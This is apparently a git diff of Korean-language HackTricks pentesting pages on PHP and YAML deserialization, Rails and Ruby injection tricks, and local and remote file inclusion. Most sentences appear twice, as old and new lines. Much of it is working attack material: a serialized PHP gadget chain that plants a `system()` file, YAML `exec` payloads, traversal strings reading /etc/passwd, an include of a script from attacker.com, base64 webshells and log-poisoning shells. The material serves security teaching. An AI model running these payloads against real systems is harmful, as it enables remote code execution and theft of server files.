a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**페이로드 요약**
- **다른 웹앱의 composer autoload**동일한 컨테이너에서 로드합니다.
- **phpggc 가젯**을 로드하여 다른 웹앱의 라이브러리를 악용합니다 (역직렬화에 취약한 초기 웹앱은 라이브러리에 가젯이 없었습니다).
- 가젯은 **/tmp/a.php**에 악성 명령이 포함된 PHP 페이로드가 있는 파일을 **생성**합니다 (웹앱 사용자는 어떤 웹앱의 폴더에도 쓸 수 없습니다).
- 페이로드의 마지막 부분은 **생성된 PHP 파일을 로드**하여 명령을 실행합니다.
- **같은 컨테이너에 있는 다른 웹앱의 composer autoload를 로드합니다.**
- **phpggc 가젯을 로드하여 다른 웹앱의 라이브러리를 악용합니다.** (역직렬화에 취약한 초기 웹앱은 라이브러리에 가젯이 없었습니다.)
- 가젯은 **/tmp/a.php에 악성 명령이 포함된 PHP 페이로드가 있는 파일을 생성합니다.** (웹앱 사용자는 어떤 웹앱의 폴더에도 쓸 수 없습니다.)
- 페이로드의 마지막 부분은 **생성된 PHP 파일을 로드하여 명령을 실행합니다.**
나는 이 **역직렬화를 두 번 호출해야 했습니다**. 내 테스트에서 첫 번째로 `/tmp/a.php` 파일이 생성되었지만 로드되지 않았고, 두 번째로 올바르게 로드되었습니다.
저는 이 **역직렬화를 두 번 호출해야 했습니다.** 테스트에서 첫 번째로 `/tmp/a.php` 파일이 생성되었지만 로드되지 않았고, 두 번째로는 제대로 로드되었습니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -22,7 +22,7 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
**튜플**은 원시 데이터 유형이 아니므로 **직렬화**되었습니다. **범위**(builtins에서 가져옴)도 마찬가지입니다.
**튜플**은 원시 데이터 유형이 아니므로 **직렬화**되었습니다. **range**도 마찬가지입니다(내장 함수에서 가져옴).
![](<../../images/image (1040).png>)
@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
이전 코드는 직렬화된 파이썬 클래스를 로드하기 위해 **unsafe_load**를 사용했습니다. 이는 **버전 >= 5.1**에서 load()에 Loader가 지정되지 않거나 Loader=SafeLoader로 설정된 경우, **직렬화된 파이썬 클래스나 클래스 속성을 역직렬화하는 것을 허용하지 않기 때문입니다.**
이전 코드는 직렬화된 파이썬 클래스를 로드하기 위해 **unsafe_load**를 사용했습니다. 이는 **버전 >= 5.1**에서 load()에 Loader가 지정되지 않거나 Loader=SafeLoader로 설정된 경우 **직렬화된 파이썬 클래스나 클래스 속성을 역직렬화하는 것을 허용하지 않기 때문입니다.**
### 기본 익스플로잇
@ -77,7 +77,7 @@ state: !!python/tuple
state:
update: !!python/name:exec
```
또는 **@ishaack가 제공한 이 한 줄 코드**를 사용할 수도 있습니다:
또는 **@ishaack가 제공한 이 한 줄**을 사용할 수도 있습니다:
```yaml
!!python/object/new:str {
state:
@ -91,7 +91,7 @@ state:
## RCE
사용자 정의 페이로드는 **PyYAML** 또는 **ruamel.yaml**과 같은 Python YAML 모듈을 사용하여 생성할 수 있습니다. 이러한 페이로드는 적절한 세척 없이 신뢰할 수 없는 입력을 역직렬화하는 시스템의 취약점을 악용할 수 있습니다.
사용자 정의 페이로드는 **PyYAML** 또는 **ruamel.yaml**과 같은 Python YAML 모듈을 사용하여 생성할 수 있습니다. 이러한 페이로드는 적절한 정화 없이 신뢰할 수 없는 입력을 역직렬화하는 시스템의 취약점을 악용할 수 있습니다.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -135,7 +135,7 @@ cat /tmp/example_yaml
- cat
- /root/flag.txt
```
### 참고문헌
### References
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)

View File

@ -6,14 +6,14 @@
## 기본 정보
바디에 해시 가능하지 않은 배열과 같은 값을 보내면 `_json`이라는 새로운 키에 추가됩니다. 그러나 공격자가 원하는 임의의 값으로 `_json`이라는 값을 바디에 설정할 수도 있습니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회를 수행할 수 있습니다.
본문에 해시할 수 없는 일부 값(예: 배열)을 전송하면 `_json`이라는 새 키에 추가됩니다. 그러나 공격자가 원하는 임의의 값으로 `_json`이라는 값을 본문에 설정하는 것도 가능합니다. 그런 다음, 예를 들어 백엔드가 매개변수의 진위를 확인하지만 `_json` 매개변수를 사용하여 어떤 작업을 수행하는 경우, 권한 우회를 수행할 수 있습니다.
```json
{
"id": 123,
"_json": [456, 789]
}
```
## References
## 참고 문헌
- [https://nastystereo.com/security/rails-_json-juggling-attack.html](https://nastystereo.com/security/rails-_json-juggling-attack.html)

View File

@ -144,15 +144,15 @@ JSONMergerApp.run(json_input)
### 설명
1. **권한 상승**: `authorize` 메서드는 `to_s`가 "Admin"을 반환하는지 확인합니다. JSON을 통해 새로운 `to_s` 속성을 주입함으로써 공격자는 `to_s` 메서드가 "Admin"을 반환하게 만들어 무단 권한을 부여할 수 있습니다.
2. **원격 코드 실행**: `health_check`에서 `instance_eval``protected_methods`에 나열된 메서드를 실행합니다. 공격자가 사용자 정의 메서드 이름(예: `"puts 1"`)을 주입하면 `instance_eval`이 이를 실행하여 **원격 코드 실행(RCE)**로 이어집니다.
2. **원격 코드 실행**: `health_check`에서 `instance_eval``protected_methods`에 나열된 메서드를 실행합니다. 공격자가 사용자 정의 메서드 이름(예: `"puts 1"`)을 주입하면, `instance_eval`이 이를 실행하여 **원격 코드 실행(RCE)**로 이어집니다.
1. 이는 해당 속성의 문자열 값을 실행하는 **취약한 `eval` 명령어**가 있기 때문에 가능합니다.
3. **영향 제한**: 이 취약점은 개별 인스턴스에만 영향을 미치며, 다른 `User``Admin` 인스턴스에는 영향을 주지 않아 악용 범위를 제한합니다.
3. **영향 제한**: 이 취약점은 개별 인스턴스에만 영향을 미치며, 다른 `User``Admin` 인스턴스에는 영향을 주지 않아, 악용 범위를 제한합니다.
### 실제 사례 <a href="#real-world-cases" id="real-world-cases"></a>
### ActiveSupport의 `deep_merge`
기본적으로 취약하지 않지만 다음과 같은 것으로 취약해질 수 있습니다:&#x20;
기본적으로 취약하지 않지만 다음과 같은 것으로 취약하게 만들 수 있습니다:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)

View File

@ -23,10 +23,10 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
`/``\`로 변경해 보세요.\
`../../../../../`를 추가해 보세요.
또한 `/``\`로 변경해 보세요.\
또한 `../../../../../`를 추가해 보세요.
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)에서 찾을 수 있습니다.
### **Windows**
@ -34,18 +34,18 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
`/``\`로 변경해 보세요.\
`C:/`를 제거하고 `../../../../../`를 추가해 보세요.
또한 `/``\`로 변경해 보세요.\
또한 `C:/`를 제거하고 `../../../../../`를 추가해 보세요.
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 [여기](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)에서 찾을 수 있습니다.
### **OS X**
리눅스의 LFI 목록을 확인하세요.
## 기본 LFI 및 우회
## Basic LFI and bypasses
모든 예제는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
모든 예시는 Local File Inclusion을 위한 것이지만 Remote File Inclusion에도 적용될 수 있습니다 (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt>/)).
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,7 +61,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
http://example.com/index.php?page=../../../etc/passwd%00
```
이것은 **PHP 5.4부터 해결되었습니다**
이것은 **PHP 5.4부터 해결되었습니다.**
### **인코딩**
@ -72,7 +72,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### 기존 폴더에서
### From existent folder
아마도 백엔드가 폴더 경로를 확인하고 있습니다:
```python
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 레벨은 깊이를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -107,9 +107,9 @@ PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 대상 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.` 추가해도 접근하는 파일은 변경되지 않습니다.
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.` 추가해도 접근하는 파일은 변경되지 않습니다.
제공된 예는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
제공된 예는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 `/etc/passwd`에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -123,7 +123,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
- **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
@ -144,7 +144,7 @@ php에서는 기본적으로 비활성화되어 있습니다. **`allow_url_inclu
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지에 대한 접근을 **필터링**하는 경우, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지에 대한 접근을 **filtering**하고 있다면, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
@ -162,7 +162,7 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로 제거됩니다**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -209,7 +209,7 @@ Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉
### php://filter
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나눌 수 있습니다:
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업을 수행**할 수 있게 해줍니다. 필터는 5가지 범주로 나니다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
@ -225,7 +225,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 함수를 임의의 텍스트로 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스를 통해 임의의 텍스트를 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
@ -236,7 +236,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
- Other Filters
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
- `dechunk`: HTTP 청크 인코딩을 역전환합니다.
- `dechunk`: HTTP 청크 인코딩을 역전시킵니다.
- `convert.*`
```php
# String Filters
@ -269,21 +269,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### php 필터를 오라클로 사용하여 임의 파일 읽기
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버에서 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로 (문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 두고 문자열의 크기를 기하급수적으로 증가시킵니다.
- 이는 **초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성**하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
- 이것은 이전의 것과 결합되어 (추측된 문자에 따라 다른 필터도 사용) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수인 경우, dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다 (따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
- 이것은 이전의 것과 결합되어 (추측된 문자에 따라 다른 필터도 사용) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
- **convert.iconv.UNICODE.CP930** 코덱은 각 문자를 다음 문자로 변환합니다 (: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 초기 폭탄과 곱해져 발생합니다.
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다 (다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
- 초기 문자가 숫자일 경우, 이를 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 사용하고, **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다 (이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
- 초기 문자가 숫자일 경우 base64로 인코딩하고 첫 두 문자를 유출하여 숫자를 유출해야 합니다.
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 사용하고 **UCS-4LE**를 적용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다 (이것은 초기 텍스트의 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
게시물에서는 이를 자동으로 수행는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
@ -333,7 +333,7 @@ http://example.com/index.php?page=expect://ls
```
### input://
POST 매개변수에 페이로드를 지정하세요:
POST 매개변수에 페이로드를 지정하십시오:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
@ -356,7 +356,7 @@ php --define phar.readonly=0 create_path.php
LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, 또는 `filesize()`와 같은 함수를 통해 역직렬화 취약점을 악용할 수 있습니다. 이 취약점은 `phar` 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.
`.phar` 파일의 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
`.phar` 파일의 맥락에서 역직렬화 취약점을 악용하는 방법에 대한 자세한 내용은 아래 링크된 문서를 참조하십시오:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -385,7 +385,7 @@ phar-deserialization.md
## LFI via PHP's 'assert'
PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있어 Local File Inclusion (LFI) 위험이 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
PHP의 'assert' 함수와 관련된 Local File Inclusion (LFI) 위험은 문자열 내에서 코드를 실행할 수 있기 때문에 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.
예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:
```bash
@ -395,7 +395,7 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
마찬가지로, 임의의 시스템 명령을 실행하기 위해서는 다음을 사용할 수 있습니다:
마찬가지로, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
```plaintext
' and die(system("id")) or '
```
@ -404,17 +404,17 @@ assert("strpos('$file', '..') === false") or die("");
## PHP 블라인드 경로 탐색
> [!WARNING]
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출과 같이) 파일의 내용은 표시되지 않습니다.
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출과 같이) 내용이 표시되지 않습니다.
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **매우 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
그런 다음, 첫 번째 문자를 유출하기 위해 필터 **`dechunk`**가 사용되며, **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE**가 사용되어 **다른 문자를 시작 부분에 배치하고 유출합니다**.
그런 다음, 첫 번째 문자를 유출하기 위해 필터 **`dechunk`**가 사용되며, **base64** 또는 **rot13**와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE****convert.iconv.UTF16.UTF-16BE**가 사용되어 **다른 문자를 시작 부분에 배치하고 유출합니다**.
**취약할 수 있는 함수**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (이것으로만 읽기 전용 대상)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
기술적 세부사항은 언급된 게시물을 확인하세요!
기술적 세부사항은 언급된 게시물을 확인하세요!
## LFI2RCE
@ -424,14 +424,14 @@ assert("strpos('$file', '..') === false") or die("");
### Apache/Nginx 로그 파일을 통한
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있으며, **user agent** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 쉘을 설정하고 해당 파일을 포함할 수 있습니다.
Apache 또는 Nginx 서버가 **LFI에 취약**한 경우 포함 함수 내에서 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근하려고 시도할 수 있으며, **사용자 에이전트** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 PHP 쉘을 설정하고 해당 파일을 포함할 수 있습니다.
> [!WARNING]
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되며, **PHP는 그곳에서 오류를 발생시킵니다** 그리고 **다른 것은 실행되지 않습니다**.
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되므로, **PHP는 오류를 발생시킵니다**. 그리고 **다른 것은 실행되지 않습니다**.
>
> 또한, **페이로드를 올바르게 작성해야 합니다**. 그렇지 않으면 PHP는 로그 파일을 로드하려고 할 때마다 오류가 발생하며 두 번째 기회를 갖지 못할 것입니다.
> 또한, **페이로드를 올바르게 작성해야** 하며, 그렇지 않으면 PHP는 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 갖지 못합니다.
은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
작업은 다른 로그에서도 수행할 수 있지만 **주의하세요**, 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
다른 가능한 로그 경로:
```python
/var/log/apache2/access.log
@ -448,16 +448,16 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### 이메일을 통한 방법
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함시킵니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
**내부 계정(user@localhost)으로 메일을 보내고** PHP 페이로드를 포함니다. 예: `<?php echo system($_REQUEST["cmd"]); ?>` 그리고 **`/var/mail/<USERNAME>`** 또는 **`/var/spool/mail/<USERNAME>`** 경로를 사용하여 사용자의 메일에 포함시키도록 시도합니다.
### /proc/\*/fd/\*를 통한 방법
1. 많은 쉘을 업로드합니다 (예: 100개)
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD)를 포함시킵니다. 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고 $FD는 파일 디스크립터(무차별 대입 가능)입니다.
